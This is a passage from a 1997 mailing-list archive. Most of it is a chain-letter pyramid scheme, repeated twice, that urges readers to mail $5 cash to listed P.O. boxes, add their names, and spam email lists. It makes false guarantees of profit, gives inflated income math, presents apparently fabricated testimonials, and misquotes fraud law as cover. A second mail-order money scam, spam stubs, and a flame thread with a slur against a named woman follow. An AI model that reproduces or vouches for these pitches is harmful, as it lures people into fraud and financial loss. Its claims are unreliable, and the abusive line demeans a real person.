way to the bank.  Take the time to read this so you'll understand how
easy it
is.  If I can do this, so can you!

 The following is a copy of the e-mail I read:

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                           This is a LEGAL, MONEY-MAKING PHENOMENON.
          PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you
may
ever see.  Many times over, it has demonstrated and proven its ability
to
generate large amounts of cash.  This program is showing fantastic
appeal
with a huge and ever-growing on-line population desirous of additional
income.

 This is a legitimate, LEGAL, money-making opportunity.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house, except to get the mail and go to the
bank!  

 This truly is the lucky break you've been waiting for!  Simply follow
the
easy instructions in this letter, and your financial dreams will come
true!
When followed correctly, this multi-level marketing program works
perfectly..100% EVERY TIME!

 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc.

 This is your chance, don't pass it up!















------------------------------------------------------------------------------
----
                         OVERVIEW OF THIS EXTRAORDINARY 
               ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

----------------------------------------------------------------
------------------

 This is what you will do to reach financial freedom:

 You will send thousands of people a product for $5.00 that costs next
to
nothing to produce and e-mail. As with all multi-level businesses, you
will
increase your business buliding your downline and selling the products
(reports).  Every state in the U.S. allows you to recruit new multi-
level
business online (via your computer).

 The products in this program are a series of four business and
financial
reports costing $5.00 each.  Each order you receive via "snail mail"
will
include:

   * $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they
ordered.

 To fill each order, you simply e-mail the product to the buyer.  THAT'S
IT!
 The $5.00 is yours!  This is the EASIEST multi-level marketing business
anywhere! 

                            FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!

                                    ******* I  N  S  T  R  U  C  T  I 
O  N
 S *******

 This is what you MUST do:
 1. Order all 4 reports shown on the list below.

      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS (in case of a problem) to the person
whose 
         name appears on the list next to the report.

      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save
them
         on your computer and resell them.

      *  Usually within 10 days you will receive, via e-mail, the four
reports. 
          Save them on your computer so they will be accessible for you
to
send 
          to the 1,000's of people who will order them from you.

 2.  IMPORTANT-- DO NOT alter the names of the people who are listed
next 
      to each report, or their sequence on the list, in any way other
than is
      instructed below in steps "a" through "f" or you will lose out on
the
      majority of your profits.  Once you  understand the way this
works,
you'll 
      also see how it doesn't work if you change it.  Remember, this
method 
      has been tested, and if you alter it, it will not work.

     a.  Look below for the listing of available reports.

     b.  After you've ordered the four reports, take this  advertisement
and 
          remove the name and address under REPORT #4. This person has 
          made it through the cycle and is no doubt counting their 50
grand!

     c.  Move the name and address under REPORT #3 down to  REPORT #4.  

     d.  Move the name and address under REPORT #2 down to REPORT #3.

     e.  Move the name and address under REPORT #1 down to REPORT #2.

     f.  Insert your name/address in the REPORT #1 position.

 Please make sure you copy everyone's name and address ACCURATELY!!!

 3.  Take this entire letter, including the modified list of names, and
save 
      it to your computer.  Make NO changes to the instruction portion
of
this 
      letter.

 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you.

 5.  For every $5.00 you receive, all you must do is e-mail them the
report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they
can't
      advertise until they receive the report!

 ------------------------------------------
 AVAILABLE REPORTS
 ------------------------------------------
 ***Order Each REPORT by NUMBER and NAME***
 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
 -  Make sure the cash is concealed by wrapping it in at least two
sheets of
paper  
 -  On one of those sheets of paper, include: (a) the number & name of
the
report you are ordering, (b) your e-mail address, and (c) your postal
address.   It is suggested that you rent a mailbox addressed to an
assumed
"company" name to avoid your name and home address being sent to
millions of
people. For an example, see the "company" names listed below.
 __________________________________________________________________
 REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

 ORDER REPORT #1 FROM:  
               A.C. Marketing
               P.O. Box # 1423
               Randolph, MA 02368
 __________________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

             A&C  Netware Sales
             P O Box 1541           
             Corona, CA 91718-1541
 _____________            
 __________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:

             CBF           
             3240 Lone Oak Road, Box 158        
             Paducah, KY 42003-0370
 ______________________________________________________________________
 REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:

              NDZ & Co.           
             P.O. Box 7277         
             Atlanta, GA  30357-0277
 ___________
          _________________________________________________________






------------------------------------------------------------------------------
--------------------
          HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

--------------------------------------------------------------------
------------------------------

 Let's say you decide to start small just to see how well it works.
Assume
your goal is to get 10 people to participate on your first level.
(Placing a
lot of FREE ads on the internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline
members.
 Follow this example to achieve the STAGGERING results below.

 1st level--your 10 members with
$5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS
       ----------->$55,550

 Remember friends, this assumes that the people who participate only
recruit
10 people each.  Think for a moment what would happen if they got 20
people
to participate!  Most people get 100's of participants! THINK ABOUT IT!

 Your cost to participate in this is practically nothing (surely you can
afford $20). You obviously already have an internet connection and
e-mail is
FREE!

  *******TIPS FOR SUCCESS*******

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.

  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:

     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S.
Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state 
     that "a product or service must be exchanged for money received."

  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

  *******YOUR SUCCESS GUIDELINE*******

 Follow these guidelines to guarantee your success:

 If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue advertising until you do.  Then, a couple of weeks later you
should
receive at least 100 orders for REPORT #2.  If you don't, continue
advertising until you do.  Once you have received 100 or more orders for
REPORT #2, YOU CAN RELAX, because the system is already working for you,
and
the cash will continue to roll in!

 THIS IS IMPORTANT TO REMEMBER:
 Every time your name is moved down on the list, you are placed in front
of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more
income,
send another batch of e-mails and start the whole process again!  There
is no
limit to the income you will generate from this business!

  *******T  E  S  T  I  M  O  N  I  A  L  S*******

      This program does work, but you must follow it EXACTLY! 
Especially the
rule of not trying to place your name in a different position, it won't
work
and you'll lose a lot of potential income.  I'm living proof that it
works.
 It really is a great opportunity to make relatively easy money, with
little
cost to you.  If you do choose to participate, follow the program
exactly,
and you'll be on your way to financial security. 
           Sean McLaughlin, Jackson, MS

      My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am
a
cost accountant with a major U.S. Corporation and I make pretty good
money.
When I received the program I grumbled to Doris about receiving "junk
mail."
I made fun of the whole thing, spouting my knowledge of the population
and
percentages involved.  I "knew" it wouldn't work. Doris totally ignored
my
supposed intelligence and jumped in with both feet. I made merciless fun
of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had
received
over 50 responses. Within 45 days she had received over $147,200 in $5
bills!
I was shocked!  I was sure that I had it all figured and that it
wouldn't
work.  I AM a believer now. I have joined Doris in her "hobby."   I did
have
seven more years until retirement, but I think of the "rat race" and
it's not
for me. We owe it all to MLM.
            Frank T., Bel-Air, MD

     The main reason for this letter is to convince you that this system
is
honest, lawful, extremely profitable, and is a way to get a large amount
of
money in a short time. I was approached several times before I checked
this
out. I joined just to see what one could expect in return for the
minimal
effort and money required.  To my astonishment, I received $36,470.00 in
the
first 14 weeks, with money still coming in.
            Sincerely yours, Phillip A. Brown, Esq.

     Not being the gambling type, it took me several weeks to make up my
mind
to participate in this plan. But conservative that I am, I decided that
the
initial investment was so little that there was just no way that I
wouldn't
get enough orders to at least get my money back. Boy, was I surprised
when I
found my medium-size post office box crammed with orders!  For awhile,
it got
so overloaded that I had to start picking up my mail at the window. I'll
make
more money this year than any 10 years of my life before. The nice thing
about this deal is that it doesn't matter where in the U.S. the people
live.
There simply isn't a better investment with a faster return.
          Mary Rockland, Lansing, MI

      This is my third time to participate in this plan. We have quit
our
jobs, and will soon buy a home on the beach and live off the interest on
our
money.  The only way on earth that this plan will work for you is if you
do
it. For your sake, and for your family's sake don't pass up this golden
opportunity.  Good luck and happy spending!
            Charles Fairchild, Spokane, WA

 ORDER YOUR REPORTS TODAY AND GET 
 STARTED ON YOUR ROAD TO 
 FINANCIAL FREEDOM!!!

---------------------
Forwarded message:
Subj:    Re: Are you getting loads of $5 orders in your mailbox
everyday?  I
am!!
Date:    97-10-22 22:51:12 EST
From:    AWan0585
To:      Altophil

In a message dated 97-10-22 11:19:50 EDT, you write:

<< 
  I Never Thought I'd Be the One Telling You This:
 I Actually Read a Piece of E-Mail & I'm Going to Europe on the
Proceeds!

 Hello!

 My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use
my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

 About two months ago I received it again and, because of the catchy
subject
line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm
going
to try this.  I can certainly afford to invest $20 and, on the other
hand,
there's nothing wrong with creating a little excess cash."  I promptly
mailed
four $5 bills and, after receiving the reports, paid a friend of mine a
small
fee to send out some e-mail advertisements for me.  After reading the
reports, I also learned how easy it is to bulk e-mail for free! 

 I was not prepared for the results.  Everyday for the last six weeks,
my
P.O. box has been overflowing with $5 bills; many days the excess fills
up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunne
d by all the money that keeps rolling in!

 My husband and I have been saving for several years to make a
substantial
downpayment on a house.  Now, not only are we purchasing a house with
40%
down, we're going to Venice, Italy to celebrate!

 I promise you, if you follow the directions in this e-mail and be
prepared
to eventually set aside about an hour each day to follow up (and count
your
money!), you will make at least as much money as we did.  You don't need
to
be a wiz at the computer, but I'll bet you already are.   If you can
open an
envelope, remove the money, and send an e-mail message, then you're on
your
way to the bank.  Take the time to read this so you'll understand how
easy it
is.  If I can do this, so can you!

 The following is a copy of the e-mail I read:

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                           This is a LEGAL, MONEY-MAKING PHENOMENON.
          PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you
may
ever see.  Many times over, it has demonstrated and proven its ability
to
generate large amounts of cash.  This program is showing fantastic
appeal
with a huge and ever-growing on-line population desirous of additional
income.

 This is a legitimate, LEGAL, money-making opportunity.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house, except to get the mail and go to the
bank!  

 This truly is the lucky break you've been waiting for!  Simply follow
the
easy instructions in this letter, and your financial dreams will come
true!
When followed correctly, this multi-level marketing program works
perfectly..100% EVERY TIME!

 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc.

 This is your chance, don't pass it up!















------------------------------------------------------------------------------
----
                         OVERVIEW OF THIS EXTRAORDINARY 
               ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

----------------------------------------------------------------
------------------

 This is what you will do to reach financial freedom:

 You will send thousands of people a product for $5.00 that costs next
to
nothing to produce and e-mail. As with all multi-level businesses, you
will
increase your business buliding your downline and selling the products
(reports).  Every state in the U.S. allows you to recruit new multi-
level
business online (via your computer).

 The products in this program are a series of four business and
financial
reports costing $5.00 each.  Each order you receive via "snail mail"
will
include:

   * $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they
ordered.

 To fill each order, you simply e-mail the product to the buyer.  THAT'S
IT!
 The $5.00 is yours!  This is the EASIEST multi-level marketing business
anywhere! 

                            FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!

                                    ******* I  N  S  T  R  U  C  T  I 
O  N
 S *******

 This is what you MUST do:
 1. Order all 4 reports shown on the list below.

      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS (in case of a problem) to the person
whose 
         name appears on the list next to the report.

      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save
them
         on your computer and resell them.

      *  Usually within 10 days you will receive, via e-mail, the four
reports. 
          Save them on your computer so they will be accessible for you
to
send 
          to the 1,000's of people who will order them from you.

 2.  IMPORTANT-- DO NOT alter the names of the people who are listed
next 
      to each report, or their sequence on the list, in any way other
than is
      instructed below in steps "a" through "f" or you will lose out on
the
      majority of your profits.  Once you  understand the way this
works,
you'll 
      also see how it doesn't work if you change it.  Remember, this
method 
      has been tested, and if you alter it, it will not work.

     a.  Look below for the listing of available reports.

     b.  After you've ordered the four reports, take this  advertisement
and 
          remove the name and address under REPORT #4. This person has 
          made it through the cycle and is no doubt counting their 50
grand!

     c.  Move the name and address under REPORT #3 down to  REPORT #4.  

     d.  Move the name and address under REPORT #2 down to REPORT #3.

     e.  Move the name and address under REPORT #1 down to REPORT #2.

     f.  Insert your name/address in the REPORT #1 position.

 Please make sure you copy everyone's name and address ACCURATELY!!!

 3.  Take this entire letter, including the modified list of names, and
save 
      it to your computer.  Make NO changes to the instruction portion
of
this 
      letter.

 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you.

 5.  For every $5.00 you receive, all you must do is e-mail them the
report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they
can't
      advertise until they receive the report!

 ------------------------------------------
 AVAILABLE REPORTS
 ------------------------------------------
 ***Order Each REPORT by NUMBER and NAME***
 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
 -  Make sure the cash is concealed by wrapping it in at least two
sheets of
paper  
 -  On one of those sheets of paper, include: (a) the number & name of
the
report you are ordering, (b) your e-mail address, and (c) your postal
address.   It is suggested that you rent a mailbox addressed to an
assumed
"company" name to avoid your name and home address being sent to
millions of
people. For an example, see the "company" names listed below.
 __________________________________________________________________
 REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

 ORDER REPORT #1 FROM:  
               A.C. Marketing
               P.O. Box # 1423
               Randolph, MA 02368
 __________________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

             A&C  Netware Sales
             P O Box 1541           
             Corona, CA 91718-1541
 _____________            
 __________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:

             CBF           
             3240 Lone Oak Road, Box 150          
             Paducah, KY 42003-0370
 ______________________________________________________________________
 REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:

              NDZ & Co.           
             P.O. Box 7277         
             Atlanta, GA  30357-0277
 ___________
          _________________________________________________________






------------------------------------------------------------------------------
--------------------
          HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

--------------------------------------------------------------------
------------------------------

 Let's say you decide to start small just to see how well it works.
Assume
your goal is to get 10 people to participate on your first level.
(Placing a
lot of FREE ads on the internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline
members.
 Follow this example to achieve the STAGGERING results below.

 1st level--your 10 members with
$5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS
       ----------->$55,550

 Remember friends, this assumes that the people who participate only
recruit
10 people each.  Think for a moment what would happen if they got 20
people
to participate!  Most people get 100's of participants! THINK ABOUT IT!

 Your cost to participate in this is practically nothing (surely you can
afford $20). You obviously already have an internet connection and
e-mail is
FREE!

  *******TIPS FOR SUCCESS*******

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.

  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:

     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S.
Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state 
     that "a product or service must be exchanged for money received."

  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

  *******YOUR SUCCESS GUIDELINE*******

 Follow these guidelines to guarantee your success:

 If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue advertising until you do.  Then, a couple of weeks later you
should
receive at least 100 orders for REPORT #2.  If you don't, continue
advertising until you do.  Once you have received 100 or more orders for
REPORT #2, YOU CAN RELAX, because the system is already working for you,
and
the cash will continue to roll in!

 THIS IS IMPORTANT TO REMEMBER:
 Every time your name is moved down on the list, you are placed in front
of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more
income,
send another batch of e-mails and start the whole process again!  There
is no
limit to the income you will generate from this business!

  *******T  E  S  T  I  M  O  N  I  A  L  S*******

      This program does work, but you must follow it EXACTLY! 
Especially the
rule of not trying to place your name in a different position, it won't
work
and you'll lose a lot of potential income.  I'm living proof that it
works.
 It really is a great opportunity to make relatively easy money, with
little
cost to you.  If you do choose to participate, follow the program
exactly,
and you'll be on your way to financial security. 
           Sean McLaughlin, Jackson, MS

      My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am
a
cost accountant with a major U.S. Corporation and I make pretty good
money.
When I received the program I grumbled to Doris about receiving "junk
mail."
I made fun of the whole thing, spouting my knowledge of the population
and
percentages involved.  I "knew" it wouldn't work. Doris totally ignored
my
supposed intelligence and jumped in with both feet. I made merciless fun
of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had
received
over 50 responses. Within 45 days she had received over $147,200 in $5
bills!
I was shocked!  I was sure that I had it all figured and that it
wouldn't
work.  I AM a believer now!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: srvce@micro-net.com
Date: Sun, 2 Nov 1997 10:58:04 -0800 (PST)
To: srvce@micro-net.com
Subject: Hello, thought you should see this
Message-ID: <199711021857.NAA10961@candy.micro-net.net>
MIME-Version: 1.0
Content-Type: text/plain



LEARN THE SECRET TO MAKING OVER $2750.00 A
WEEK, PART-TIME WITH YOUR HOME COMPUTER!

It's fun, it's rewarding, and it's easy.  This is so simple, most
children could do it!  All you need is a computer and E-Mail
address to begin making excellent money while relaxing in 
the comfort of your own home.  

All it takes is a couple hours a day, and you'll have more than 
$2750.00 arriving in your mailbox every week!  Right now there 
are only a few people around the country who know how to do 
this.  And these few people are having the greatest time of their 
lives while their computers make them a fortune.  They don't 
want anyone else to know how they're making all this money,
but we at Crown Industries have decided to let a few more
people in on the secret.  

Even if you are happy with your current job, you can use this 
system in your spare time to create a huge extra income.  And 
let us assure you this system is completely legal.  We are so 
sure anyone can make a fortune with this unique system, that 
we will even let you try it out for 30 days!  If you're not 100% 
satisfied, just send it back within 30 days for a full refund.  

Once you begin to see how easy it is to make money with your
computer, you will wish you had received this letter a long time 
ago.  Anyone can do this, and since very little of your time is 
required, you will have a lot more time to spend doing the things 
you have always wanted to do.

So take the first step toward financial freedom and order this 
powerful money making system today!  You'll be glad you did!

This offer will only be available for a limited time!  To insure 
you receive your copy, order today!

To receive your copy of our incredible computer money making 
system, along with a full 30 day money back guarantee, send 
a check or money order for $14.95 payable to:

Crown Industries
1630 North Main St. Suite# 310
Walnut Creek,  CA  94596

Allow 4-6 days for delivery

P.S.  You simply must see this to believe it.  Never in the 
history of America has it been possible to make this much 
money spending just a couple hours a day.  We guarantee 
that anyone can make more than $2750.00 a week, part-
time using our system and just one home computer or 
you get your money back!  












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cindy Cohn <Cindy@mcglashan.com>
Date: Sun, 2 Nov 1997 19:18:21 -0800 (PST)
To: bernstein-announce@toad.com
Subject: Change in Bernstein oral argument time
Message-ID: <199711030249.SAA17142@gw.quake.net>
MIME-Version: 1.0
Content-Type: text/plain


The time for the oral argument in the Bernstein case has been moved by the
court from 1:00 p.m. to 9:00 a.m.

Hope to see you there,

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
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Cindy@McGlashan.com
http://www.McGlashan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37387166@prodigy.com
Date: Sun, 2 Nov 1997 20:10:18 -0800 (PST)
To: you@aol.com
Subject: Bulk E-mail Done Your Way !!!
Message-ID: < >
MIME-Version: 1.0
Content-Type: text/plain


If you wish to be removed from this list please respond to Remove

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 1gh9TbMi2@gen.com
Date: Mon, 3 Nov 1997 00:38:35 -0800 (PST)
To: freesft@usa.net
Subject: Free Software
Message-ID: <1yB6APE@so2tUe7>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed@justanote.com
Date: Wed, 5 Nov 1997 05:22:18 -0800 (PST)
To: ed@justanote.com
Subject: Congress values your opinion
Message-ID: <199711030601.BAA29226@eclipse.freemanchester.com>
MIME-Version: 1.0
Content-Type: text/plain


Visit this URL: http://www.netline-to-congress.com/ and cast a vote that really counts.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sales@morbrandnames.com
Date: Mon, 3 Nov 1997 11:32:48 -0800 (PST)
To: sales@morbrandnames.com
Subject: FREE WATCH, ROLEX, NOVADO, GUCCI STYLES
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ghost@workline.com
Date: Mon, 3 Nov 1997 17:01:11 -0800 (PST)
Subject: No Subject
Message-ID: <199711040101.RAA12149@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


F <Ghost@workline.com>
R <cypherpunks@toad.com> (remote destination)
R <jlhoffm@ibm.net> (remote destination)
R <fight-censorship@vorlon.mit.edu> (remote destination)
X - Start
Received: by soi.hyperchat.com id 00e700 at Mon, 03 Nov 1997 17:58:33 -700 (Mountain Standard Time)
Message-ID: <345E731B.12@workline.com>
Date: Mon, 03 Nov 1997 19:58:03 -0500
From: Abstruse <abstruse@technologist.com>
X-Mailer: Mozilla 3.01 (Win95; I)
MIME-Version: 1.0
To: cypherpunks@toad.com
CC: Jodi Hoffman <jlhoffm@ibm.net>, fight-censorship@vorlon.mit.edu
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
References: <199711032057.MAA08856@k2.brigadoon.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> Someone on this list, I forget who, has made numerous attempts at
> convincing us that pornography 'does no harm' to children.  It is
> exactly at this point that I must draw a line. Studies have shown that
> an event which lasts even so much as three-tenths of a second, within
> five to ten minutes has produced a structural change in the brain.
> Exposure to porn causes actual brain damage, especially in a child.

let me guess . . . scientology? it sounds to me as if you just despise
porn so much that you're seeing red, and hence . . . not seeing the
facts straight (or believing whatever you [want to] hear).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "wabe" <wabe@smart.net>
Date: Mon, 3 Nov 1997 16:47:23 -0800 (PST)
To: <Undisclosed.Recipients@gemini.smart.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
Message-ID: <01bce8d3$edc22b40$d17f61ce@dave>
MIME-Version: 1.0
Content-Type: text/plain


THE FOLLOWING IS AN OPINION,
(this is a forged post anyway)

So I read Jodi's lawsuit as it is posted
on her web page.  I'll post some interesting
parts below.  Keep in mind that I'm not
a lawyer, nor do I play one in cyberspace...

Basically the lawsuit (supposably) is(was?) against
a school board in Florida where Jodi sent
her 3 children to middle school.

Jodi seeks mucho casho for emotional damages
she was inflicted by having to discover and
fight the sex-ed class.  Apparantly she originally
was one of the mothers who opted her children out,
but the school fumbled (or the child "forgot" to hand the
paper back in) and they took the class anyways.  After
one day, she yanked the kids out of school for a week,
and engaged on the legal battle we see here.  She also
seeks to shut down (or heavily amend) the sex ed class,
along with the newspaper part of a civics class, and
she wants more supervision of the children's internet
access.

As far as I can tell, oddly enough, the internet part
of the case is the only part with any real merit. (She
doesn't want her children using the internet at school to
see pornography while she isn't watching.)  That's reasonable,
and the school could have someone watching (or claim to)
to avoid it.

There's a lot of whining about the "secular humanism" of
the school which is entirely without merit and sounds foolish
in the context of a legal paper.

Selected interesting points are as follows:
(claimed as the school board's damaging sex ed class. . .)
  c) giving inaccurate and incomplete information about HIV/AIDS
transmission, by claiming students should not worry if their cut-free leg
was splashed with HIV positive blood;

  How innaccurate is this?  Do we have some "studies?"


  k) failing to emphasize abstinence from activity outside of marriage as
the expected standard for all school-age children and failing to teach the
benefits of monogamous hetero marriage;

This is CRAZY!  Not only does she want them to accept whatever she believes
as the "expected standard" but
she wants them to expound upon the glories of a boring sex life! :>

l) failing to emphasize that abstinence is a certain way to avoid
out-of-wedlock pregnancy, ly transmitted diseases, including acquired immune
deficiency syndrome (AIDS) and other associated health problems; abstinence
was only briefly mentioned and then ridiculed at length;

Not true! As claimed in her previous points (see 'bloody leg' above)

m) failing to respect the conscience and rights of parents and students;

respect is a hard thing to measure, and is often something EARNED.

  n) in addition, the opt out letter failed to fully and properly advise
parents of the nature and content of the lecture so that parents could
meaningfully decide to let their children opt out or attend the lecture;

Actually has some merit.

(Then the school board showed a laser disk purchased from the "homosexual
propagandizer" ABC which...)

c.) failing to promote an awareness of the benefits of abstinence, by
failing to equip students with abstinence decision-making techniques;

That last phase is just funny!

e.) promoting a secular humanist philosophy by teaching children that they
alone should decide when to become ly active;

hmmm....

(Now they have the GALL to buy some newspapers and provide them to the
children....these newspapers:)

a.) favoring, justifying, promoting, condoning and/or providing biased,
inaccurate and incomplete information about homo , by failing to discuss
adverse mental, physical and emotional consequences of engaging in homo
behavior and not discussing the changeability of orientation;

If they had advised the students that some of them could, if they wanted,
become homosexuals, would that
have been more proper?


  d.) failing to teach monogamous, hetero marriage as the expected standard
to prevent ly transmitted diseases and unwanted pregnancy;

HAHAHA, isn't homosexual marriage a better way of avoiding pregnancy?



Then Jodi objects to some newspapers being shown in geography class which
contain an
"adult" advertisement section (aparantly)  Here are the whole of her
objections to this particular point:
  a.) providing inappropriate material as part of curriculum (one ad for an
adult video store invites customers to bring their wife, girlfriend,
boyfriend or all three);
  b.) providing material that does not promote core values;
  c.) providing material which does not promote the contributions made by
women to society, such as ads for sex-for-sale businesses;
  d.) failing to promote an awareness of the benefits of abstinence and the
consequences of teenage pregnancy;
  e.) failing to teach monogamous hetero marriage as the standard;
  f.) failing to teach respect for family and marriage;
  g.) failing to promote a moral society;
  h.) encouraging early activity of children;
  i.) contributing to the delinquency of minors by encouraging activity.

Those were very funny!  She is a comic in the classic Milk and Cheese sense!
I especially
loved c) which claims that ads for sex for sale businesses are contributions
made by women to society!
I wholeheartedly disagree!  How can she be sure the ads were placed and
created by WOMEN!?  Couldn't
a man have made the ads?

Other problems Jodi had with sex ed were:

a.) giving inaccurate, incomplete or biased information about masturbation,
by teaching there is no evidence that it is emotionally harmful, when there
is substantial evidence to the contrary;
  k.) failing to encourage respect for parents as authority figures by
telling children they can make decisions without consulting or relying on
parents' advice;

  l.) establishing a secular humanist philosophy by teaching, for example,
that children are in charge of their bodies and are free to make decisions
based on what they feel is the right thing to do at the time and by
excluding parents and other adults from decision-making processes;

Further explainations follow:

42. The actions of Defendant in paragraphs 25-28 , 30-32 and 34-40 were
outrageous, intentional and/or reckless and were intended to cause plaintiff
